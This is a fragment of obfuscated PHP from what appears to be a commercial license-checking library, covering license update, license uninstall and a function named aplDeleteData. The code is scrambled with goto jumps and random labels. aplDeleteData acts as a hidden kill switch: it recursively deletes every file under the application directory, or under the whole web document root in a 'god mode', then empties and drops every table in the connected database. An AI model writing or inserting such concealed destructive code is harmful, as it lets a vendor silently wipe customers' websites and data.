$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; goto jN_kK; Axjf1: extract(aplGetLicenseData($MYSQLI_LINK)); $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_update.php", $post_info, $ROOT_URL); $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); jN_kK: kGywu: return $notifications_array; } function incevioUninstallLicense($MYSQLI_LINK = null) { $notifications_array = array(); $apl_core_notifications = aplCheckSettings(); if (empty($apl_core_notifications)) { goto XgYsI; } $notifications_array["notification_case"] = "notification_script_corrupted"; $notifications_array["notification_text"] = implode("; ", $apl_core_notifications); goto PBc0u; XgYsI: if (aplCheckData($MYSQLI_LINK)) { goto bETzZ; } $notifications_array["notification_case"] = "notification_license_corrupted"; $notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED; goto th7hf; bETzZ: extract(aplGetLicenseData($MYSQLI_LINK)); $post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)); $content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_uninstall.php", $post_info, $ROOT_URL); $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE); if (!($notifications_array["notification_case"] == "notification_license_ok")) { goto HyyMB; } if (!(APL_STORAGE == "DATABASE")) { goto oETlZ; } mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE); mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE); oETlZ: if (!(APL_STORAGE == "FILE")) { goto GW99A; } $handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); @fclose($handle); GW99A: HyyMB: th7hf: PBc0u: return $notifications_array; } function aplDeleteData($MYSQLI_LINK = null) { if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"])) { goto oByhn; } $root_directory = dirname(__DIR__); goto Tp3Ys; oByhn: $root_directory = $_SERVER["DOCUMENT_ROOT"]; Tp3Ys: foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) { $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname()); kKJMy: } kYGeP: rmdir($root_directory); if (!(APL_STORAGE == "DATABASE")) { goto Ql3wL; } $database_tables_array = array(); $table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES"); AYSjD: if (!($table_list_row = mysqli_fetch_row($table_list_results))) { goto M0ADK; } $database_tables_array[] = $table_list_row[0]; goto AYSjD; M0ADK: if (empty($database_tables_array)) { goto oA0NR; } foreach ($database_tables_array as $table_name) { mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}"); NH0uQ: } s2J0n: foreach ($database_tables_array as $table_name) { mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}"); Xr05S: } dOOOW: oA0NR: Ql3wL: exit; } ?>